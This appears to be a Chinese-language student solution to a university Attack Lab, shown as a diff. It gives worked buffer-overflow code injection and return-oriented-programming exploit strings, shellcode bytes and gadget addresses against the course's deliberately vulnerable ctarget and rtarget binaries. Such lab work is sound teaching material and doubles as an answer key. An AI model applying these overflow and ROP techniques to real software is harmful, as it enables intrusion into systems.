|
|
@ -0,0 +1,682 @@ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# Attack Lab
|
|
|
|
|
|
|
|
10225501432 邓博昊 target66 |
|
|
|
|
|
|
|
## ctarget
|
|
|
|
|
|
|
|
使用`gdb ctarget`调试程序 |
|
|
|
|
|
|
|
使用`disass <function>`获得`<function>`的汇编代码 |
|
|
|
|
|
|
|
使用`r -i {phase_i_raw}`带入`exploit string`运行程序 |
|
|
|
|
|
|
|
### Level 1
|
|
|
|
|
|
|
|
`ctarget`程序被调用时,执行`test`函数,`test`函数调用`getbuf`函数 |
|
|
|
|
|
|
|
我们需要将`getbuf`函数在返回时重定向到`touch1`而非继续回到`test`函数 |
|
|
|
|
|
|
|
<big>**1)查看`test`、`touch1`函数C代码**</big> |
|
|
|
|
|
|
|
先贴出题干所给函数代码 |
|
|
|
|
|
|
|
```c |
|
|
|
void test() |
|
|
|
{ |
|
|
|
int val; |
|
|
|
val = getbuf(); |
|
|
|
printf("No exploit. Getbuf returned 0x%x\n", val); |
|
|
|
} |
|
|
|
|
|
|
|
void touch1() { |
|
|
|
vlevel = 1; |
|
|
|
printf("Touch!: You called touch1()\n"); |
|
|
|
validate(1); |
|
|
|
exit(0); |
|
|
|
} |
|
|
|
``` |
|
|
|
|
|
|
|
<big>**2)查看`getbuf`、`touch1`函数汇编代码**</big> |
|
|
|
|
|
|
|
获取`getbuf`、`touch1`函数汇编代码 |
|
|
|
|
|
|
|
```assembly |
|
|
|
Dump of assembler code for function getbuf: |
|
|
|
0x0000555555401a65 <+0>: sub $0x18,%rsp |
|
|
|
0x0000555555401a69 <+4>: mov %rsp,%rdi |
|
|
|
0x0000555555401a6c <+7>: call 0x555555401d05 <Gets> |
|
|
|
0x0000555555401a71 <+12>: mov $0x1,%eax |
|
|
|
0x0000555555401a76 <+17>: add $0x18,%rsp |
|
|
|
0x0000555555401a7a <+21>: ret |
|
|
|
End of assembler dump. |
|
|
|
``` |
|
|
|
|
|
|
|
```assembly |
|
|
|
Dump of assembler code for function touch1: |
|
|
|
0x0000555555401a7b <+0>: sub $0x8,%rsp |
|
|
|
0x0000555555401a7f <+4>: movl $0x1,0x203953(%rip) # 0x5555556053dc <vlevel> |
|
|
|
0x0000555555401a89 <+14>: lea 0x1967(%rip),%rdi # 0x5555554033f7 |
|
|
|
0x0000555555401a90 <+21>: call 0x555555400e10 <puts@plt> |
|
|
|
0x0000555555401a95 <+26>: mov $0x1,%edi |
|
|
|
0x0000555555401a9a <+31>: call 0x555555401f75 <validate> |
|
|
|
0x0000555555401a9f <+36>: mov $0x0,%edi |
|
|
|
0x0000555555401aa4 <+41>: call 0x555555400f80 <exit@plt> |
|
|
|
End of assembler dump. |
|
|
|
``` |
|
|
|
|
|
|
|
`getbuf`函数开辟了24个字节的栈空间 |
|
|
|
|
|
|
|
<big>**3)构建攻击字符串**</big> |
|
|
|
|
|
|
|
我们目前可以知道的: |
|
|
|
|
|
|
|
* 运行环境为`AMD64 Linux`,使用小端法,内存低位储存低位字节数 |
|
|
|
|
|
|
|
* 栈的生长方向向内存低位生长 |
|
|
|
* `getbuf`函数ret地址为%rsp+0x18 |
|
|
|
* `touch1`函数入口为`0x0000555555401a7b` |
|
|
|
|
|
|
|
我们需要构建一个字符串,其需要满足的条件: |
|
|
|
|
|
|
|
* 改变`getbuf`函数ret时返回地址,使其变为`0x0000555555401a7b` |
|
|
|
|
|
|
|
* 数字需要的字节数为`24+8 = 32`位 |
|
|
|
* 符合小端法 |
|
|
|
|
|
|
|
字符串数据按输入顺序从低地址向高地址存储数据 |
|
|
|
|
|
|
|
无意义的字符均用0表示,我们需要构建的字符串即为 |
|
|
|
|
|
|
|
``` |
|
|
|
00 00 00 00 00 00 00 00 |
|
|
|
00 00 00 00 00 00 00 00 |
|
|
|
00 00 00 00 00 00 00 00 |
|
|
|
7b 1a 40 55 55 55 00 00 |
|
|
|
``` |
|
|
|
|
|
|
|
将上述字符串存入`phase_1.txt` |
|
|
|
|
|
|
|
<big>**4)将字符串转化为字节码并运行程序**</big> |
|
|
|
|
|
|
|
输入以下命令即可完成`touch1` |
|
|
|
|
|
|
|
```bash |
|
|
|
./hex2raw < phase_1.txt > phase_1_raw.txt |
|
|
|
gdb ctarget |
|
|
|
r -i phase_1_raw.txt |
|
|
|
``` |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
### Level 2
|
|
|
|
|
|
|
|
任务要求`ctarget`程序执行`touch2`函数,而非返回`test`函数 |
|
|
|
|
|
|
|
<big>**1)查看`touch2`函数C代码**</big> |
|
|
|
|
|
|
|
题干所给`touch2`函数C代码如下 |
|
|
|
|
|
|
|
```c |
|
|
|
void touch2(unsigned val){ |
|
|
|
vlevel = 2; /* Part of validation protocol */ |
|
|
|
if (val == cookie){ |
|
|
|
printf("Touch2!: You called touch2(0x%.8x)\n", val); |
|
|
|
validate(2); |
|
|
|
} else { |
|
|
|
printf("Misfire: You called touch2(0x%.8x)\n", val); |
|
|
|
fail(2); |
|
|
|
} |
|
|
|
exit(0); |
|
|
|
} |
|
|
|
``` |
|
|
|
|
|
|
|
`touch2`函数要求传入一个参数`val`,只有`val`和`cookie`值相同程序才执行成功 |
|
|
|
|
|
|
|
<big>**2)查看`touch2`函数汇编代码**</big> |
|
|
|
|
|
|
|
`touch`函数汇编代码如下 |
|
|
|
|
|
|
|
```assembly |
|
|
|
Dump of assembler code for function touch2: |
|
|
|
0x0000555555401aa9 <+0>: sub $0x8,%rsp |
|
|
|
0x0000555555401aad <+4>: mov %edi,%edx |
|
|
|
0x0000555555401aaf <+6>: movl $0x2,0x203923(%rip) # 0x5555556053dc <vlevel> |
|
|
|
0x0000555555401ab9 <+16>: cmp %edi,0x203925(%rip) # 0x5555556053e4 <cookie> |
|
|
|
0x0000555555401abf <+22>: je 0x555555401aeb <touch2+66> |
|
|
|
0x0000555555401ac1 <+24>: lea 0x1980(%rip),%rsi # 0x555555403448 |
|
|
|
0x0000555555401ac8 <+31>: mov $0x1,%edi |
|
|
|
0x0000555555401acd <+36>: mov $0x0,%eax |
|
|
|
0x0000555555401ad2 <+41>: call 0x555555400f30 <__printf_chk@plt> |
|
|
|
0x0000555555401ad7 <+46>: mov $0x2,%edi |
|
|
|
0x0000555555401adc <+51>: call 0x555555402045 <fail> |
|
|
|
0x0000555555401ae1 <+56>: mov $0x0,%edi |
|
|
|
0x0000555555401ae6 <+61>: call 0x555555400f80 <exit@plt> |
|
|
|
0x0000555555401aeb <+66>: lea 0x192e(%rip),%rsi # 0x555555403420 |
|
|
|
0x0000555555401af2 <+73>: mov $0x1,%edi |
|
|
|
0x0000555555401af7 <+78>: mov $0x0,%eax |
|
|
|
0x0000555555401afc <+83>: call 0x555555400f30 <__printf_chk@plt> |
|
|
|
0x0000555555401b01 <+88>: mov $0x2,%edi |
|
|
|
0x0000555555401b06 <+93>: call 0x555555401f75 <validate> |
|
|
|
0x0000555555401b0b <+98>: jmp 0x555555401ae1 <touch2+56> |
|
|
|
End of assembler dump. |
|
|
|
``` |
|
|
|
|
|
|
|
则`touch2`函数入口地址为`0x0000555555401aa9` |
|
|
|
|
|
|
|
<big>**3)构建汇编代码**</big> |
|
|
|
|
|
|
|
实验给出的建议: |
|
|
|
|
|
|
|
- 使用ret指令调用touch2函数 |
|
|
|
- touch2的参数要存在rdi寄存器中 |
|
|
|
- 插入的代码应该设置寄存器存着Cookie,然后再返回touch2 |
|
|
|
- 不用jmp和call指令 |
|
|
|
- 使用gcc和objdump生成要插入代码的字节码格式 |
|
|
|
|
|
|
|
我的`cookie = 0x3e8dee8f` |
|
|
|
|
|
|
|
则我们需要构建的汇编代码应该为 |
|
|
|
|
|
|
|
```assembly |
|
|
|
movq $0x3e8dee8f,%rdi |
|
|
|
movq $0x0000555555401aa9,%rsi # 存储touch2入口地址 |
|
|
|
push %rsi |
|
|
|
ret |
|
|
|
``` |
|
|
|
|
|
|
|
将上述代码存储在`phase_2_assembly.s` |
|
|
|
|
|
|
|
<big>**4)获得机械码**</big> |
|
|
|
|
|
|
|
使用如下命令生成并反编译获得机械码 |
|
|
|
|
|
|
|
```bash |
|
|
|
gcc -c phase_2_assembly.s -o phase_2_assembly.o |
|
|
|
objdump -d phase_2_assembly.o > phase_2_assembly.d |
|
|
|
``` |
|
|
|
|
|
|
|
打开`phase_2_assembly.d` |
|
|
|
|
|
|
|
```assembly |
|
|
|
Disassembly of section .text: |
|
|
|
|
|
|
|
0000000000000000 <.text>: |
|
|
|
0: 48 c7 c7 8f ee 8d 3e mov $0x3e8dee8f,%rdi |
|
|
|
7: 48 be a9 1a 40 55 55 movabs $0x555555401aa9,%rsi |
|
|
|
e: 55 00 00 |
|
|
|
11: 56 push %rsi |
|
|
|
12: c3 ret |
|
|
|
``` |
|
|
|
|
|
|
|
则这段程序机械码为 |
|
|
|
|
|
|
|
``` |
|
|
|
48 c7 c7 8f ee 8d 3e 48 be a9 1a 40 55 55 55 00 00 56 c3 |
|
|
|
``` |
|
|
|
|
|
|
|
<big>**5)构建攻击字符串**</big> |
|
|
|
|
|
|
|
思路为: |
|
|
|
|
|
|
|
* `getbuff`函数获取攻击字符串 |
|
|
|
* 字符串使得`getbuff`函数返回至`buff`数组起点 |
|
|
|
* `buff`数组起点按顺序储存机械码 |
|
|
|
* 程序按照储存的机械码执行我们设计好的汇编指令 |
|
|
|
|
|
|
|
因此我们需要查看`buff`数组起点的内存地址,即`%rsp`储存的内容 |
|
|
|
|
|
|
|
由Level 1中`getbuf`函数汇编代码可知,`getbuf`函数入口为`0x0000555555401a65` |
|
|
|
|
|
|
|
使用如下命令: |
|
|
|
|
|
|
|
```bash |
|
|
|
gdb ctarget |
|
|
|
b *0x0000555555401a65 |
|
|
|
r -qi phase_1_raw.txt |
|
|
|
stepi |
|
|
|
p &rsp |
|
|
|
``` |
|
|
|
|
|
|
|
输出: |
|
|
|
|
|
|
|
```bash |
|
|
|
$1 = (void *) 0x55621b58 |
|
|
|
``` |
|
|
|
|
|
|
|
故构建如下字符串 |
|
|
|
|
|
|
|
``` |
|
|
|
48 c7 c7 8f ee 8d 3e 48 |
|
|
|
be a9 1a 40 55 55 55 00 |
|
|
|
00 56 c3 00 00 00 00 00 |
|
|
|
58 1b 62 55 00 00 00 00 |
|
|
|
``` |
|
|
|
|
|
|
|
将上述字符串储存在`phase_2.txt`中 |
|
|
|
|
|
|
|
<big>**6)将字符串转化为字节码并运行程序**</big> |
|
|
|
|
|
|
|
输入以下命令即可完成`touch2` |
|
|
|
|
|
|
|
```bash |
|
|
|
./hex2raw < phase_2.txt > phase_2_raw.txt |
|
|
|
gdb ctarget |
|
|
|
r -i phase_2_raw.txt |
|
|
|
``` |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
### Level 3
|
|
|
|
|
|
|
|
任务要求`ctarget`程序执行`touch3`函数,而非返回`test`函数 |
|
|
|
|
|
|
|
注意`touch3`函数内部调用了`hexmatch`函数 |
|
|
|
|
|
|
|
<big>**1)查看`touch3`、`hexmatch`函数C代码**</big> |
|
|
|
|
|
|
|
```C |
|
|
|
int hexmatch(unsigned val, char *sval){ |
|
|
|
char cbuf[110]; |
|
|
|
char *s = cbuf + random() % 100; |
|
|
|
sprintf(s, "%.8x", val); |
|
|
|
return strncmp(sval, s, 9) == 0; |
|
|
|
} |
|
|
|
void touch3(char *sval){ |
|
|
|
vlevel = 3; |
|
|
|
if (hexmatch(cookie, sval)){ |
|
|
|
printf("Touch3!: You called touch3(\"%s\")\n", sval); |
|
|
|
validate(3); |
|
|
|
} else { |
|
|
|
printf("Misfire: You called touch3(\"%s\")\n", sval); |
|
|
|
fail(3); |
|
|
|
} |
|
|
|
exit(0); |
|
|
|
} |
|
|
|
``` |
|
|
|
|
|
|
|
hexmatch需要传入`cookie`值,并且需要将`cookie`值以字符串形式传入 |
|
|
|
|
|
|
|
<big>**2)查看`test`、`touch3`函数汇编代码**</big> |
|
|
|
|
|
|
|
```assembly |
|
|
|
Dump of assembler code for function test: |
|
|
|
0x0000555555401c32 <+0>: sub $0x8,%rsp |
|
|
|
0x0000555555401c36 <+4>: mov $0x0,%eax |
|
|
|
0x0000555555401c3b <+9>: call 0x555555401a65 <getbuf> |
|
|
|
0x0000555555401c40 <+14>: mov %eax,%edx |
|
|
|
0x0000555555401c42 <+16>: lea 0x1877(%rip),%rsi # 0x5555554034c0 |
|
|
|
0x0000555555401c49 <+23>: mov $0x1,%edi |
|
|
|
0x0000555555401c4e <+28>: mov $0x0,%eax |
|
|
|
0x0000555555401c53 <+33>: call 0x555555400f30 <__printf_chk@plt> |
|
|
|
0x0000555555401c58 <+38>: add $0x8,%rsp |
|
|
|
0x0000555555401c5c <+42>: ret |
|
|
|
End of assembler dump. |
|
|
|
``` |
|
|
|
|
|
|
|
```assembly |
|
|
|
Dump of assembler code for function touch3: |
|
|
|
0x0000555555401bc0 <+0>: push %rbx |
|
|
|
0x0000555555401bc1 <+1>: mov %rdi,%rbx |
|
|
|
0x0000555555401bc4 <+4>: movl $0x3,0x20380e(%rip) # 0x5555556053dc <vlevel> |
|
|
|
0x0000555555401bce <+14>: mov %rdi,%rsi |
|
|
|
0x0000555555401bd1 <+17>: mov 0x20380d(%rip),%edi # 0x5555556053e4 <cookie> |
|
|
|
0x0000555555401bd7 <+23>: call 0x555555401b0d <hexmatch> |
|
|
|
0x0000555555401bdc <+28>: test %eax,%eax |
|
|
|
0x0000555555401bde <+30>: je 0x555555401c0d <touch3+77> |
|
|
|
0x0000555555401be0 <+32>: mov %rbx,%rdx |
|
|
|
0x0000555555401be3 <+35>: lea 0x1886(%rip),%rsi # 0x555555403470 |
|
|
|
0x0000555555401bea <+42>: mov $0x1,%edi |
|
|
|
0x0000555555401bef <+47>: mov $0x0,%eax |
|
|
|
0x0000555555401bf4 <+52>: call 0x555555400f30 <__printf_chk@plt> |
|
|
|
0x0000555555401bf9 <+57>: mov $0x3,%edi |
|
|
|
0x0000555555401bfe <+62>: call 0x555555401f75 <validate> |
|
|
|
0x0000555555401c03 <+67>: mov $0x0,%edi |
|
|
|
0x0000555555401c08 <+72>: call 0x555555400f80 <exit@plt> |
|
|
|
0x0000555555401c0d <+77>: mov %rbx,%rdx |
|
|
|
0x0000555555401c10 <+80>: lea 0x1881(%rip),%rsi # 0x555555403498 |
|
|
|
0x0000555555401c17 <+87>: mov $0x1,%edi |
|
|
|
0x0000555555401c1c <+92>: mov $0x0,%eax |
|
|
|
0x0000555555401c21 <+97>: call 0x555555400f30 <__printf_chk@plt> |
|
|
|
0x0000555555401c26 <+102>: mov $0x3,%edi |
|
|
|
0x0000555555401c2b <+107>: call 0x555555402045 <fail> |
|
|
|
0x0000555555401c30 <+112>: jmp 0x555555401c03 <touch3+67> |
|
|
|
End of assembler dump. |
|
|
|
``` |
|
|
|
|
|
|
|
可以看出: |
|
|
|
|
|
|
|
* `test`函数入口为`0x0000555555401c32` |
|
|
|
* `touch3`函数入口为`0x0000555555401bc0` |
|
|
|
|
|
|
|
<big>**3)构建汇编代码**</big> |
|
|
|
|
|
|
|
阅读题干所给提示: |
|
|
|
|
|
|
|
* 需要一个字符串表示`cookie`值,不需要表示开头`0x` |
|
|
|
* 在C语言中字符串是以`\0`结尾,所以在字符串序列的结尾是一个字节0 |
|
|
|
* `man ascii` 可以用来查看每个字符的16进制表示 |
|
|
|
* 需要在`%rdi`寄存器内储存字符串的地址 |
|
|
|
* 当调用`hexmatch`和`strncmp`时,他们会把数据压入到栈中,有可能会覆盖`getbuf`栈帧的数据,所以传进去字符串的位置必须小心谨慎 |
|
|
|
|
|
|
|
因此汇编代码设计思路为: |
|
|
|
|
|
|
|
* 将字符串写入到不容易被覆盖的`test`函数栈空间,将该地址送入`%rdi`寄存器 |
|
|
|
* 压入含`touch3`入口地址的寄存器 |
|
|
|
* ret返回 |
|
|
|
|
|
|
|
注意`cookie`值需要转化为16进制ASCII码表示后使用 |
|
|
|
|
|
|
|
根据题目提示`0x`不需要表示,并且字符串结尾为0字节,则对应ASCII码表示为 |
|
|
|
|
|
|
|
``` |
|
|
|
0x3e8dee8f >> 33 65 38 64 65 65 38 66 00 |
|
|
|
``` |
|
|
|
|
|
|
|
我们还需要知道`test函数`栈帧地址 |
|
|
|
|
|
|
|
输入以下命令查看 |
|
|
|
|
|
|
|
```assembly |
|
|
|
gdb ctarget |
|
|
|
b *0x0000555555401c32 # test函数入口 |
|
|
|
r -qi phase_1_raw.txt |
|
|
|
stepi |
|
|
|
p $rsp |
|
|
|
``` |
|
|
|
|
|
|
|
结果显示 |
|
|
|
|
|
|
|
```bash |
|
|
|
$1 = (void *) 0x55621b78 |
|
|
|
``` |
|
|
|
|
|
|
|
因此我们需要构建的汇编代码为 |
|
|
|
|
|
|
|
```assembly |
|
|
|
movq $0x55621b78,%rdi |
|
|
|
movq $0x0000555555401bc0,%rdx |
|
|
|
push %rdx |
|
|
|
ret |
|
|
|
``` |
|
|
|
|
|
|
|
将上述内容储存在`phase_3_assembly.s` |
|
|
|
|
|
|
|
<big>**4)获得机械码**</big> |
|
|
|
|
|
|
|
输入以下命令获得机械码 |
|
|
|
|
|
|
|
```bash |
|
|
|
gcc -c phase_3_assembly.s -o phase_3_assembly.o |
|
|
|
objdump -d phase_3_assembly.o > phase_3_assembly.d |
|
|
|
``` |
|
|
|
|
|
|
|
打开`phase_3_assembly.d` |
|
|
|
|
|
|
|
```assembly |
|
|
|
Disassembly of section .text: |
|
|
|
|
|
|
|
0000000000000000 <.text>: |
|
|
|
0: 48 c7 c7 78 1b 62 55 mov $0x55621b78,%rdi |
|
|
|
7: 48 ba c0 1b 40 55 55 movabs $0x555555401bc0,%rdx |
|
|
|
e: 55 00 00 |
|
|
|
11: 52 push %rdx |
|
|
|
12: c3 ret |
|
|
|
``` |
|
|
|
|
|
|
|
则机械码为 |
|
|
|
|
|
|
|
``` |
|
|
|
48 c7 c7 78 1b 62 55 48 ba c0 1b 40 55 55 55 00 00 52 c3 |
|
|
|
``` |
|
|
|
|
|
|
|
<big>**5)构建攻击字符串**</big> |
|
|
|
|
|
|
|
思路为: |
|
|
|
|
|
|
|
* `getbuff`函数获取攻击字符串 |
|
|
|
* 字符串足够长,使得`cookie`的16进制值储存在test栈空间 |
|
|
|
* 字符串使得`getbuff`函数返回至`buff`数组起点 |
|
|
|
* `buff`数组起点按顺序储存机械码 |
|
|
|
* 程序按照储存的机械码执行我们设计好的汇编指令 |
|
|
|
|
|
|
|
`buff`数组起点的内存地址由Level 2可知为`0x55621b58` |
|
|
|
|
|
|
|
故构建如下字符串 |
|
|
|
|
|
|
|
``` |
|
|
|
48 c7 c7 78 1b 62 55 48 |
|
|
|
ba c0 1b 40 55 55 55 00 |
|
|
|
00 52 c3 00 00 00 00 00 |
|
|
|
58 1b 62 55 00 00 00 00 |
|
|
|
33 65 38 64 65 65 38 66 |
|
|
|
00 |
|
|
|
``` |
|
|
|
|
|
|
|
将上述字符串储存在`phase_3.txt`中 |
|
|
|
|
|
|
|
<big>**6)将字符串转化为字节码并运行程序**</big> |
|
|
|
|
|
|
|
输入以下命令即可完成`touch3` |
|
|
|
|
|
|
|
```bash |
|
|
|
./hex2raw < phase_3.txt > phase_3_raw.txt |
|
|
|
gdb ctarget |
|
|
|
r -i phase_3_raw.txt |
|
|
|
``` |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
## rtarget
|
|
|
|
|
|
|
|
题干所给信息翻译如下: |
|
|
|
|
|
|
|
> 这一部分攻击rtarget程序,但是这个程序使用了两种技术防止代码注入攻击:
|
|
|
|
> |
|
|
|
> - 每次栈的位置是随机的,于是我们没有办法确定需要跳转的地址
|
|
|
|
> - 即使我们能够找到规律注入代码,但是栈是不可执行的,一旦执行,则会遇到段错误
|
|
|
|
> |
|
|
|
> 所以只能利用已有的可执行的代码,来完成我们的操作,称为`retrun-oriented programming(ROP)`,策略就是找到现存代码中的若干条指令,这些指令后面跟着指令ret,每次return相当于从一个gadget跳转到另一个gadget中,然后通过这样不断跳转来完成我们想要的操作。
|
|
|
|
|
|
|
|
使用如下命令获得`farm.c`的反汇编 |
|
|
|
|
|
|
|
``` |
|
|
|
gcc -c -Og farm.c |
|
|
|
objdump -d farm.o > farm.d |
|
|
|
``` |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
### Level 2
|
|
|
|
|
|
|
|
这一关要求我们重复上一部分Level 2的攻击,但是无法对rtarget进行代码注入攻击,我们只能使用ROP攻击:利用farm.c中的程序的gadget,构造我们需要的指令,在rtarget中执行 |
|
|
|
|
|
|
|
<big>**1)选取gadgets**</big> |
|
|
|
|
|
|
|
阅读题目提示: |
|
|
|
|
|
|
|
* 我们利用的gadget是从startfarm到midfarm之间的 |
|
|
|
* 只需要两个gadget |
|
|
|
* 当使用popq指令时,你的exploit string中必须含有一个地址和data |
|
|
|
|
|
|
|
因此我们需要的汇编指令为 |
|
|
|
|
|
|
|
```assembly |
|
|
|
popq %rax |
|
|
|
movq %rax,%rdi |
|
|
|
``` |
|
|
|
|
|
|
|
对应的编码为 |
|
|
|
|
|
|
|
``` |
|
|
|
popq %rax > 58 |
|
|
|
movq %rax,%rdi > 48 89 c7 |
|
|
|
``` |
|
|
|
|
|
|
|
`popq %rax`对应函数为 |
|
|
|
|
|
|
|
```assembly |
|
|
|
Dump of assembler code for function getval_373: |
|
|
|
0x0000555555401c70 <+0>: b8 d3 f5 c2 58 mov $0x58c2f5d3,%eax |
|
|
|
0x0000555555401c75 <+5>: c3 ret |
|
|
|
End of assembler dump. |
|
|
|
``` |
|
|
|
|
|
|
|
我们得出`popq %rax`指令的地址为`0x0000555555401c70+0x4 =0x0000555555401c74` |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
`movq %rax,%rdi`对应函数为 |
|
|
|
|
|
|
|
```assembly |
|
|
|
Dump of assembler code for function getval_424: |
|
|
|
0x0000555555401c84 <+0>: b8 48 89 c7 c3 mov $0xc3c78948,%eax |
|
|
|
0x0000555555401c89 <+5>: c3 ret |
|
|
|
End of assembler dump. |
|
|
|
``` |
|
|
|
|
|
|
|
我们得出`movq %rax,%rdi`指令的地址为`0x0000555555401c84+0x1 =0x0000555555401c85` |
|
|
|
|
|
|
|
反汇编得`touch2`函数入口为`0x0000555555401aa9 ` |
|
|
|
|
|
|
|
<big>**2)构建攻击字符串**</big> |
|
|
|
|
|
|
|
需要使用的地址 |
|
|
|
|
|
|
|
``` |
|
|
|
0x0000555555401aa9 # touch2函数入口地址 |
|
|
|
0x0000555555401c85 # 48 89 c7 movq %rax, %rdi |
|
|
|
0x3e8dee8f # cookie |
|
|
|
0x0000555555401c74 # 58 popq %rax |
|
|
|
``` |
|
|
|
|
|
|
|
构建的`phase_4.txt`如下 |
|
|
|
|
|
|
|
``` |
|
|
|
00 00 00 00 00 00 00 00 |
|
|
|
00 00 00 00 00 00 00 00 |
|
|
|
00 00 00 00 00 00 00 00 |
|
|
|
74 1c 40 55 55 55 00 00 |
|
|
|
8f ee 8d 3e 00 00 00 00 |
|
|
|
85 1c 40 55 55 55 00 00 |
|
|
|
a9 1a 40 55 55 55 00 00 |
|
|
|
``` |
|
|
|
|
|
|
|
<big>**3)将字符串转化为字节码并运行程序**</big> |
|
|
|
|
|
|
|
输入以下命令即可完成`touch2` |
|
|
|
|
|
|
|
```bash |
|
|
|
./hex2raw < phase_4.txt > phase_4_raw.txt |
|
|
|
gdb rtarget |
|
|
|
r -i phase_4_raw.txt |
|
|
|
``` |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
### Level 3
|
|
|
|
|
|
|
|
这一关要求我们重复上一部分Level 3的攻击,使用ROP攻击的形式。 |
|
|
|
|
|
|
|
<big>**1)选取gadgets**</big> |
|
|
|
|
|
|
|
阅读题目提示: |
|
|
|
|
|
|
|
* 建议查看movl指令对4字节以上操作的影响 |
|
|
|
* 官方解决方法用了8个gadgets |
|
|
|
|
|
|
|
由`ctarget level 3`可知,`cookie`的ASCII字符串表示为 |
|
|
|
|
|
|
|
``` |
|
|
|
0x3e8dee8f >> 33 65 38 64 65 65 38 66 00 |
|
|
|
``` |
|
|
|
|
|
|
|
因为栈地址随机,因此需要找到基准地址,此处选取%rsp |
|
|
|
|
|
|
|
具体操作: |
|
|
|
|
|
|
|
- 把%rsp里的栈指针地址放到%rdi |
|
|
|
- 拿到bias的值放到%rsi |
|
|
|
- 利用add xy,把栈指针地址和bias加起来放到%rax,再传到%rdi |
|
|
|
- 调用touch3 |
|
|
|
|
|
|
|
因此我们需要的汇编指令为 |
|
|
|
|
|
|
|
``` |
|
|
|
movq %rsp,%rax |
|
|
|
movq %rax,%rdi |
|
|
|
popq %rax |
|
|
|
movl %eax,%edx |
|
|
|
movl %edx,%ecx |
|
|
|
movl %ecx,%esi |
|
|
|
lea (%rdi,%rsi,1),%rax |
|
|
|
movq %rax,%rdi |
|
|
|
``` |
|
|
|
|
|
|
|
对应的编码、函数、地址为 |
|
|
|
|
|
|
|
``` |
|
|
|
movq %rsp,%rax > 48 89 e0 > addval_101 > 0x0000555555401cb3 |
|
|
|
movq %rax,%rdi > 48 89 c7 > setval_417 > 0x0000555555401c8c |
|
|
|
popq %rax > 58 > getval_373 > 0x0000555555401c74 |
|
|
|
movl %eax,%edx > 89 c2 > addval_467 > 0x0000555555401ca5 |
|
|
|
movl %edx,%ecx > 89 d1 > setval_191 > 0x0000555555401cac |
|
|
|
movl %ecx,%esi > 89 ce > setval_118 > 0x0000555555401cc2 |
|
|
|
lea (%rdi,%rsi,1),%rax > 48 8d 04 37 > add_xy > 0x0000555555401c9e |
|
|
|
movq %rax,%rdi > 48 89 c7 > setval_253 > 0x0000555555401c6b |
|
|
|
``` |
|
|
|
|
|
|
|
<big>**2)构建攻击字符串**</big> |
|
|
|
|
|
|
|
需要使用的地址 |
|
|
|
|
|
|
|
``` |
|
|
|
0x0000555555401cb3 # movq %rsp,%rax |
|
|
|
0x0000555555401c8c # movq %rax,%rdi |
|
|
|
0x0000555555401c74 # popq %rax |
|
|
|
0x48 # bias = 9*8-->0x48 |
|
|
|
0x0000555555401ca5 # movl %eax,%edx |
|
|
|
0x0000555555401cac # movl %edx,%ecx |
|
|
|
0x0000555555401cc2 # movl %ecx,%esi |
|
|
|
0x0000555555401c9e # lea (%rdi,%rsi,1),%rax |
|
|
|
0x0000555555401c6b # movq %rax,%rdi |
|
|
|
0x0000555555401bc0 # touch3 |
|
|
|
0x3365386465653866 # hex cookie string |
|
|
|
``` |
|
|
|
|
|
|
|
构建的攻击字符串为 |
|
|
|
|
|
|
|
``` |
|
|
|
00 00 00 00 00 00 00 00 |
|
|
|
00 00 00 00 00 00 00 00 |
|
|
|
00 00 00 00 00 00 00 00 |
|
|
|
b3 1c 40 55 55 55 00 00 |
|
|
|
8c 1c 40 55 55 55 00 00 |
|
|
|
74 1c 40 55 55 55 00 00 |
|
|
|
48 00 00 00 00 00 00 00 |
|
|
|
a5 1c 40 55 55 55 00 00 |
|
|
|
ac 1c 40 55 55 55 00 00 |
|
|
|
c2 1c 40 55 55 55 00 00 |
|
|
|
9e 1c 40 55 55 55 00 00 |
|
|
|
6b 1c 40 55 55 55 00 00 |
|
|
|
c0 1b 40 55 55 55 00 00 |
|
|
|
33 65 38 64 65 65 38 66 |
|
|
|
``` |
|
|
|
|
|
|
|
保存为`phase_5.txt` |
|
|
|
|
|
|
|
<big>**3)将字符串转化为字节码并运行程序**</big> |
|
|
|
|
|
|
|
输入以下命令即可完成`touch23 |
|
|
|
|
|
|
|
```bash |
|
|
|
./hex2raw < phase_5.txt > phase_5_raw.txt |
|
|
|
gdb rtarget |
|
|
|
r -i phase_5_raw.txt |
|
|
|
``` |
|
|
|
|
|
|
|
|
|
|
|
|